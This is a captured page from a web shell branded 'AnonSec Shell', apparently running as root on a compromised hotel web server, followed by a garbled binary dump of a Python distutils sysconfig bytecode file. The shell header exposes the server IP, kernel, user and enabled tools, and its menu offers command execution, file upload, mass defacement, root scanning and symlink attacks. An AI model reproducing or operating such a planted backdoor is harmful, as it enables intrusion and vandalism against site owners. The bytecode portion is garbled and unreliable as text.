AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/setuptools/_distutils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/setuptools/_distutils/__pycache__/sysconfig.cpython-310.pyc
o

�_�a�V�@s�dZddlZddlZddlZddlZddlmZdejvZej	�
ej�Zej	�
ej
�Zej	�
ej�Zej	�
ej�ZdejvrHej	�ejd�ZnejrWej	�ej	�ej��Zne��Zdd�Zeed	d�Zejd
krvdd�Zee�Zee�Zd
d�Ze�ZdZ zes�ej!Z Wn	e"y�Ynwdd�Z#d1dd�Z$dd�Z%d2dd�Z&dd�Z'dd�Z(dZ)dd�Z*d3dd �Z+e�,d!�Z-e�,d"�Z.e�,d#�Z/d3d$d%�Z0d&d'�Z1da2d(Z3d)d*�Z4d+d,�Z5d-d.�Z6d/d0�Z7dS)4a�Provide access to Python's configuration information.  The specific
configuration variables available depend heavily on the platform and
configuration.  The values may be retrieved using
get_config_var(name), and the list of variables is available via
get_config_vars().keys().  Additional convenience functions are also
available.

Written by:   Fred L. Drake, Jr.
Email:        <fdrake@acm.org>
�N�)�DistutilsPlatformError�__pypy__�_PYTHON_PROJECT_BASEcCs,dD]}tj�tj�|d|��rdSqdS)N)�SetupzSetup.local�ModulesTF)�os�path�isfile�join)�d�fn�r�A/usr/lib/python3/dist-packages/setuptools/_distutils/sysconfig.py�_is_python_source_dir,s
�r�_home�ntcCs0|rtj�|��tj�tj�td���rtS|S)N�PCbuild)rr	�normcase�
startswithr�PREFIX)rrrr�_fix_pcbuild5s
�rcCstrtt�Stt�S�N)�	_sys_homer�project_baserrrr�
_python_build=sr�cCsdtjdd�S)z�Return a string containing the major and minor Python version,
    leaving off the patchlevel.  Sample return values could be '1.5'
    or '2.2'.
    z%d.%dN�)�sys�version_inforrrr�get_python_versionQsr cCs�|dur
|rtp	t}tjdkrItrtjdkrtj�|d�St	r4|r%t
p$tStj�td�d�}tj�
|�Str8dnd}|t�t}tj�|d|�Stjd	krit	rbtj�|d�tjjtj�|d
�Stj�|d�Stdtj��)a�Return the directory containing installed Python header files.

    If 'plat_specific' is false (the default), this is the path to the
    non-platform-specific header files, i.e. Python.h and so on;
    otherwise, this is the path to platform-specific header files
    (namely pyconfig.h).

    If 'prefix' is supplied, use it instead of sys.base_prefix or
    sys.base_exec_prefix -- i.e., ignore 'plat_specific'.
    N�posix����include�srcdir�Include�pypy�pythonr�PCzFI don't know where Python installs its C header files on platform '%s')�BASE_EXEC_PREFIX�BASE_PREFIXr�name�IS_PYPYrrr	r�python_buildrr�get_config_var�normpathr �build_flags�pathsepr)�
plat_specific�prefix�incdir�implementation�
python_dirrrr�get_python_incYs0

���r9cCs|r|Stj�|d�S)N�
site-packages)rr	r)�standard_lib�	libpython�early_prefixr5rrr�
_posix_lib�sr>cCs�tr!tjdkr!|dur
t}|rtj�|dtjd�Stj�|d�S|}|dur6|r0|r-tp.t	}n|r4t
p5t}tjdkr`|s?|rFttdd�}nd}trLd	nd
}tj�|||t
��}t||||�Stjdkrv|rntj�|d�Stj�|dd�Std
tj��)aSReturn the directory containing the Python library (standard or
    site additions).

    If 'plat_specific' is true, return the directory containing
    platform-specific modules, i.e. any module from a non-pure-Python
    module distribution; otherwise, return the platform-shared library
    directory.  If 'standard_lib' is true, return the directory
    containing standard Python library modules; otherwise, return the
    directory for site-specific modules.

    If 'prefix' is supplied, use it instead of sys.base_prefix or
    sys.base_exec_prefix -- i.e., ignore 'plat_specific'.
    r"Nz
lib-pythonrr:r!�
platlibdir�libr(r)r�Libz?I don't know where Python installs its library on platform '%s')r.rrrrr	r�versionr+r,�EXEC_PREFIXr-�getattrr r>r)r4r;r5r=�libdirr7r<rrr�get_python_lib�s:

�
��rFc	Cs|jdk�rtjdkrtd�sddl}|�t�dtd<tddd	d
ddd
d�\}}}}}}}}	dtj	vrOtj	d}
dtj	vrM|�
|�rM|
|t|�d�}|
}dtj	vrYtj	d}dtj	vrctj	d}dtj	vrntj	d}n|d}dtj	vr�|dtj	d}d	tj	vr�|dtj	d	}|dtj	d	}dtj	vr�|dtj	d}|dtj	d}|dtj	d}d
tj	vr�tj	d
}dtj	vr�|dtj	d}n|d|	}|d|}
|j||
|
d|||||d�dtj	v�r|j
�dd��r|jtj	dd�||_dSdS)z�Do any platform-specific customization of a CCompiler instance.

    Mainly needed on Unix, so we can plug in the information that
    varies across Unices and is stored in Python's Makefile.
    �unix�darwin�CUSTOMIZED_OSX_COMPILERrN�True�CC�CXX�CFLAGS�CCSHARED�LDSHARED�SHLIB_SUFFIX�AR�ARFLAGS�CPPz -E�LDFLAGS� �CPPFLAGS)�preprocessor�compiler�compiler_so�compiler_cxx�	linker_so�
linker_exe�archiver�RANLIB�ranlib)r_)�
compiler_typer�platformr0�_osx_support�customize_compiler�_config_vars�get_config_varsr�environr�len�set_executables�executables�get�shared_lib_extension)rXrb�cc�cxx�cflags�ccshared�ldshared�shlib_suffix�ar�ar_flags�newcc�cppr]�cc_cmdrrrrc�sh


��


�











�	
�rccCsDtrtjdkrtj�tp
td�}n
tpt}ntdd�}tj�|d�S)z2Return full pathname of installed pyconfig.h file.rr*r�r4z
pyconfig.h)r/rr-r	rrrr9)�inc_dirrrr�get_config_h_filenames


ryz+config-{python_ver}{build_flags}{multiarch}cCs`trtj�tptd�Stddd�}ttj	d�rdtj	j
nd}tjt
�t|d�}tj�||d�S)	zAReturn full pathname of installed Makefile from the Python build.�Makefilerr�r4r;�
_multiarchz-%sr)�
python_verr2�	multiarch)r/rr	rrrrF�hasattrrr7r|�_makefile_tmpl�formatr r2)�lib_dirr~�config_filerrr�get_makefile_filenames
���r�cCs�|duri}t�d�}t�d�}	|��}|s	|S|�|�}|r>|�dd�\}}zt|�}Wn	ty8Ynw|||<n|�|�}|rLd||�d�<q)z�Parse a config.h-style file.

    A dictionary containing name/value pairs is returned.  If an
    optional dictionary is passed in as the second argument, it is
    used instead of a new dictionary.
    Nz"#define ([A-Z][A-Za-z0-9_]+) (.*)
z&/[*] #undef ([A-Z][A-Za-z0-9_]+) [*]/
Trrr)�re�compile�readline�match�group�int�
ValueError)�fp�g�	define_rx�undef_rx�line�m�n�vrrr�parse_config_h0s&


�

�r�z"([a-zA-Z][a-zA-Z0-9_]+)\s*=\s*(.*)z\$\(([A-Za-z][A-Za-z0-9_]*)\)z\${([A-Za-z][A-Za-z0-9_]*)}c	Cs�ddlm}||ddddd�}|duri}i}i}	|��}|dur#n?t�|�}|ra|�dd�\}}	|	��}	|	�d	d
�}
d|
vrE|	||<nzt|	�}	Wnt	y\|	�d	d�||<Ynw|	||<qd}|�r1t
|�D]�}||}
t�|
�pzt
�|
�}|�r+|�d�}d}||vr�t||�}n>||vr�d
}n7|tjvr�tj|}n,||vr�|�d�r�|dd�|vr�d
}nd||vr�d
}nt|d|�}nd
||<}|�r*|
|��d�}|
d|���||}
d|vr�|
||<qkzt|
�}
Wnt	�y|
��||<Ynw|
||<||=|�d��r*|dd�|v�r*|dd�}||v�r*|
||<qk||=qk|sg|��|��D]\}}	t|	t��rI|	��||<�q9|�|�|S)z�Parse a Makefile-style file.

    A dictionary containing name/value pairs is returned.  If an
    optional dictionary is passed in as the second argument, it is
    used instead of a new dictionary.
    r)�TextFiler�surrogateescape)�strip_comments�skip_blanks�
join_lines�errorsNTrz$$r�$)rMrTrVF�PY_r#)�distutils.text_filer�r��_variable_rxr�r��strip�replacer�r��list�_findvar1_rx�search�_findvar2_rx�strrrfr�end�start�close�items�
isinstance�update)r
r�r�r��done�notdoner�r�r�r��tmpv�renamed_variablesr-�value�found�item�after�krrr�parse_makefileSs�

��


�
��2�
r�cCsX	t�|�p
t�|�}|r(|��\}}|d|�|�|�d��||d�}n	|Sq)a�Expand Makefile-style variables -- "${foo}" or "$(foo)" -- in
    'string' according to 'vars' (a dictionary mapping variable names to
    values).  Variables not present in 'vars' are silently expanded to the
    empty string.  The variable values in 'vars' should not contain further
    variable expansions; if 'vars' is the output of 'parse_makefile()',
    you're fine.  Returns a variable-expanded version of 's'.
    TrrN)r�r�r��spanrjr�)�s�varsr��begr�rrr�expand_makefile_vars�s*�r�z+_sysconfigdata_{abi}_{platform}_{multiarch}c
Cs�tj�dtjtjtjttj	dd�d��}z
t
|t�t�dgd�}Wnt
y5t
dt�t�dgd�}Ynw|j}iat�|�dS)	z7Initialize the module as appropriate for POSIX systems.�_PYTHON_SYSCONFIGDATA_NAMEr|r)�abirar~�build_time_varsr�_sysconfigdataN)rrfrj�_sysconfig_name_tmplr�r�abiflagsrarDr7�
__import__�globals�locals�ImportErrorr�rdr�)r-�_tempr�rrr�_init_posix�s$����r�cCs~i}tddd�|d<tddd�|d<tdd�|d<t��d|d<d	|d
<t��dd�|d
<tj�tj�	t
j��|d<|adS)z+Initialize the module as appropriate for NTrrr{�LIBDEST�
BINLIBDESTrw�	INCLUDEPY�
EXT_SUFFIXz.exe�EXE�.r�VERSION�BINDIRN)
rFr9�_imp�extension_suffixesr r�rr	�dirname�abspathr�
executablerd)r�rrr�_init_nt�sr�cGsLtdur�t��dtj�}|r|�niattd<ttd<ts�t�d�}|dur,|td<t�dt�}tjdkrOt	rHtj
�t��}tj
�
||�}ntj
�t��}tj
�tj
�|��td<t	r�tjdkr�t}tj
�td�s�|t��kr�tj
�
|td�}tj
�|�td<tjd	kr�d
dl}|�t�|r�g}|D]
}|�t�|��q�|StS)a�With no arguments, return a dictionary of all configuration
    variables relevant for the current platform.  Generally this includes
    everything needed to build extensions and install both pure modules and
    extensions.  On Unix, this means every variable defined in Python's
    installed Makefile; on Windows it's a much smaller set.

    With arguments, return a list of values that result from looking up
    each argument in the configuration variable dictionary.
    N�_init_r5�exec_prefixr��SOr&r!rHr)rdr�rjrr-rrCr.rr/r	r�r�rr�r1�isabs�getcwdrrarb�customize_config_vars�append)�args�funcr�r&�baserb�valsr-rrrresB



recCs*|dkrddl}|�dtd�t��|�S)z�Return the value of a single variable using the dictionary
    returned by 'get_config_vars()'.  Equivalent to
    get_config_vars().get(name)
    r�rNz SO is deprecated, use EXT_SUFFIXr)�warnings�warn�DeprecationWarningrerj)r-r�rrrr0Qsr0)rN)rrNr)8�__doc__r�rr�rr�r�builtin_module_namesr.r	r1r5rr�rC�base_prefixr,�base_exec_prefixr+rfr�rr�r�r�rrDrr-rrr/r2r��AttributeErrorr r9r>rFrcryr�r�r�r�r�r�r�r�r�rdr�r�r�rer0rrrr�<module>sh


��
,
7K




jK

Anon7 - 2022
AnonSec Team